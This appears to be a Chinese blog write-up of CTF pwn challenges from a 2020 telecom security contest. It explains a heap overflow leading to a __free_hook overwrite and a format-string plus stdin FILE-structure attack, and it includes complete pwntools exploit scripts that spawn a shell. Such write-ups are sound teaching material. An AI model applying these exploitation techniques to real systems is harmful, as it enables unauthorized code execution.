2020全国电信和互联网行业网络安全管理职业技能竞赛pwn-WP


pwn2

自己只做了pwn2,就从pwn2开始

c++用于输入输出,主要逻辑是用c实现的。因为会调用c++的库,这里涉及到一些库的库的加载。

漏洞分析

add

当进行add的时候如果size为0将会成功申请空间

edit

在edit的时候如果size为0可以无限制的获取输入,造成了堆溢出。

漏洞利用

  • 1.libc2.27需要填满tcach然后泄露libc地址。但是这里泄露出来的libc如下图,泄露出来的是第二条线的地址,实际上需要的是第一条线的地址,实际上这几部分是同一个库,相对的偏移都是固定的。

加载

  • 2.用fastbin attack劫持__malloc_hook,2.27使得可以申请到任何一段空间不需要size的限制。实际上__malloc_hook劫持成one_gatget这里不行。实际用system函数劫持__free_hook

free_hook

这里有一个问题:__free_hook看到的地址是在data区域,但是pwntools的symbols还是获取到了正确的偏移。

  • 3.保存点小技巧:
def debug(addr,PIE=True):
  debug_str = ""
  if PIE:
    text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
    for i in addr:
      debug_str+='x /10xg {}\n'.format(hex(text_base+i))
    gdb.attach(p,debug_str)
  else:
    for i in addr:
      debug_str+='b *{}\n'.format(hex(text_base+i))
    gdb.attach(p,debug_str)

可以很方便调试开启了PIE的程序,把命令改掉可以换成下断点

Ubuntu18使用fastbin attack是直接把fd指针指向要修改的地址就好

exp

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
# context.terminal=['tmux', 'splitw', '-h']
prog = './noteplus'
# #elf = ELF(prog)
# # p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# p = remote("121.36.245.213", 23333)
#
#
local=1
from one_gadget import generate_one_gadget
if local:
    path_to_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    one=[0x4f3d5,0x4f432,0x10a41c]
    p = process(prog)
else:
    one = [0x10a45c, 0x4f3c2, 0x4f365]
    p=remote("121.36.245.213", 23333)
    path_to_libc="/media/tower/data/work/ctf/dianxin/pwn2/460f7fe9177846df879863c485e2940b/libc-2.27.so"

libc=ELF(path_to_libc)
#
#
#
def one_gadget_list():
    one=[]
    for offset in generate_one_gadget(path_to_libc):
        print(hex(offset))
        one.append(offset)
    return one


# one=one_gadget_list()

# p = process(["/glibc/2.27/64/lib/ld-2.27.so", "./pwn"], env={"LD_PRELOAD": "/glibc/2.27/64/lib/libc.so.6"})

# p = process(["./libc-2.27.so", "./noteplus"], env={"LD_PRELOAD": "./libc-2.27.so"})
def debug(addr,PIE=True):
  debug_str = ""
  if PIE:
    text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
    for i in addr:
      debug_str+='x /10xg {}\n'.format(hex(text_base+i))
    gdb.attach(p,debug_str)
  else:
    for i in addr:
      debug_str+='b *{}\n'.format(hex(text_base+i))
    gdb.attach(p,debug_str)


def New(index,size):
    p.sendlineafter("our choice: ","1")
    p.sendlineafter("Index: ",index)
    p.sendlineafter("ize: ",size)

def Delete(index):
    p.sendlineafter("our choice: ","2")
    p.sendlineafter("Index: ",index)

def Edit(index,content):
    p.sendlineafter("our choice: ","3")
    p.sendlineafter("Index: ",index)
    p.sendafter("Content: ",content)
def View(index):
    p.sendlineafter("our choice: ","4")
    p.sendlineafter("Index: ",index)

index=0x8
for i in range(index):
    New(str(i), str(0x98))
New(str(9), str(0x98))
New(str(0xa), str(0x98))
New(str(0xb), str(0x98))

for i in range(index-1):
    Delete(str(i))

Delete(str(9))
New(str(0xc), str(0x68))
View(str(0xc))
p.recvuntil("Content: ")
libc_content=p.recvuntil("\x0a",drop=True).ljust(8,"\x00")
libc.address=u64(libc_content)-0xb78-0x1b8-0x3eb000
print(hex(libc.address))
New(str(0),str(0))
Delete(str(0xa))
New(str(0x1),str(0x68))
New(str(0x2),str(0x68))
New(str(0x3),str(0x68))
New(str(0x4),str(0x68))
Delete(str(1))
Delete(str(2))
Delete(str(3))
Delete(str(4))
# New(str(5),str(0x68))
# New(str(6),str(0x68))
#
# Delete(str(5))
# print(hex(libc.symbols["__malloc_hook"]))
#0x354b78
Edit(str(0),p64(0)*4+p64(0x71)+p64(libc.symbols["__free_hook"]-8)*2+"\n")

print(hex(libc.symbols["__free_hook"]))
# debug([0x203320])
New(str(1),str(0x68))

New(str(2),str(0x68))
New(str(3),str(0x68))
New(str(4),str(0x68))
New(str(5),str(0x68))
# print(hex(libc.sym["realloc"]))
Edit(str(5),p64(libc.symbols["system"])+"\n")#p64(libc.symbols["__malloc_hook"]-0x3eb000-8+13)+"\n")

# New(str(6),str(0x68))

Edit(str(0),"a"*32+p64(0x71)+"/bin/sh\x00\n")
debug([0x203320])
Delete(str(4))


p.interactive()

pwn1

基础知识

__isoc99_scanf 调用_IO_vfscanf_internal 调用__GI__IO_default_uflow 调用_IO_new_file_underflow

int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return EOF;
  if (fp->_flags & _IO_NO_READS)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp->_IO_read_ptr < fp->_IO_read_end)   //检查:_IO_read_ptr要比_IO_read_end大
    return *(unsigned char *) fp->_IO_read_ptr;
  if (fp->_IO_buf_base == NULL)//缓冲区为空分配空间
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
        {
          free (fp->_IO_save_base);
          fp->_flags &= ~_IO_IN_BACKUP;
        }
      _IO_doallocbuf (fp);
    }
  /* FIXME This can/should be moved to genops ?? */
  if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn't
         required by any standard.  My recollection is that
         traditional Unix systems did this for stdout.  stderr better
         not be line buffered.  So we do just that here
         explicitly.  --drepper */
      _IO_acquire_lock (stdout);
      if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
          == (_IO_LINKED | _IO_LINE_BUF))
        _IO_OVERFLOW (stdout, EOF);
      _IO_release_lock (stdout);
    }
  _IO_switch_to_get_mode (fp);
  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
                       fp->_IO_buf_end - fp->_IO_buf_base);//向_IO_buf_base处写入数据,读取的实际长度是_IO_buf_end -_IO_buf_base
  if (count <= 0)
    {
      if (count == 0)
        fp->_flags |= _IO_EOF_SEEN;
      else
        fp->_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp->_IO_read_end += count;//读取结束后_IO_read_end加上读取的长度
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
         handles.  As a result, our offset cache would no longer be valid, so
         unset it.  */
      fp->_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp->_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp->_offset, count);
  return *(unsigned char *) fp->_IO_read_ptr;
}


这里是把数据读到缓冲区,read_ptr指针是把数据从缓冲区读到用户空间,所以这里read_ptr指针要比较大

指针情况

实际IO_file结构在内存中的情况是

IO_file结构

泄露

泄露libc加载地址。是原始偏移加上栈上的偏移,一般情况下64位程序的原始偏移是6,如题的0xf+6=21,wp里面用%21$p进行泄露.

偏移

劫持执行流

  • 用格式化字符串漏洞修改栈里面的_IO_file结构
  • 用scanf函数向修改后的_IO_buf_base结构写入数据修改_IO_buf_base和_IO_buf_end 指针修改为main函数的返回地址(一个栈地址)
  • 持续的getchar让_IO_read_ptr追上_IO_read_end指针,这样才能再次读入数据
  • 修改返回地址
payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)
echo2(payload)
debug([0x000000000000106D,0x000000000000FFE])

完成上面第二步,在标记的地方就是写入数据开始的地方(原来IO_read_base指向的地方)

修改后的IO_file

但是这时read_ptr指针是小于read_end指针的所以需要调用多次getchar()实际上应该是调用lenpayload次(在发送上面payload的时候已经调用了一次,后面还需要lenpayload-1次)

#coding=utf-8
from pwn import *
p = process("./Echo")
libc = ELF("./Echo").libc
context.log_level="debug"
# p = remote('121.36.216.253',10001)

def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 


def login(name):
    p.recvuntil("Choice >>")
    p.sendline("1")
    p.recvuntil("User name:")
    p.send(name)
def echo(size,data):
    p.recvuntil("Choice >>")
    p.sendline("2")
    p.recvuntil("Input size:")
    p.sendline(str(size))
    p.sendline(data)
def echo2(data):
    p.recvuntil("Choice >>")
    p.sendline("2")
    p.recvuntil("Input size:")
    p.send(data)
    p.sendline('') 

def get_base(addr):
    p.recvuntil("say:")
    info=int(p.recv(0xe),16)
    base=info-addr
    print(hex(base))
    return base
one = [0x45226,0x4527a,0xf0364,0xf1207]

#leak


echo(7,"%{}$p".format(str(0xf+6)))
libc.address=get_base(0x20840)

echo(7,"%{}$p".format(str(0x1+6)))
main_addr=get_base(-0x28)#栈地址到加载地址的偏移会变

echo(7,"%{}$p".format(str(0x9+6)))
pie_base=get_base(0x1107)


io_buffer_base=libc.symbols["_IO_2_1_stdin_"]+8*7
login(p64(io_buffer_base)[:-1]+"\n")
print("io_buffer_base:",hex(io_buffer_base))

echo(7,"%{}$hhn".format(str(0xa+6)))


payload=p64(libc.symbols["_IO_2_1_stdin_"]+131)*3+p64(main_addr)+p64(main_addr+8*3)
echo2(payload)
for i in range(len(payload)-1):
    echo2("\n")
# debug([0x00000000000106D,0x0000000000000F77])

payload=p64(pie_base+0x00000000000011b3)+p64(libc.search('/bin/sh').next())+p64(libc.symbols["system"])
echo2(payload)
p.recvuntil("Choice >>")
p.sendline('3')
# echo2("\n")
p.interactive()

遇到问题

实际上这样构造payload的时候(多了个\n),实际上没有\n scanf函数是能截断的

payload=p64(libc.symbols["_IO_2_1_stdin_"]+131)*3+p64(main_addr)+p64(main_addr+8*3)+"\n"

上面的payload会设置一些指针然后会造成崩溃.

pwn3


评论
 上一篇
ctf脚本技巧 ctf脚本技巧
初始化脚本的开始 #coding=utf-8 from pwn import * file_path = "./RHVM.bin" context.arch = "amd64" context.log_level = "debug" # c
2020-11-10 九层台
下一篇 
湖湘杯wp-pwn 湖湘杯wp-pwn
pwn1 what the f**k printf?输入16个32能够溢出 泄露libc 获取shell #coding=utf-8 from pwn import * local=1 pop_rdi_ret=0x00000000
2020-11-10 九层台
  目录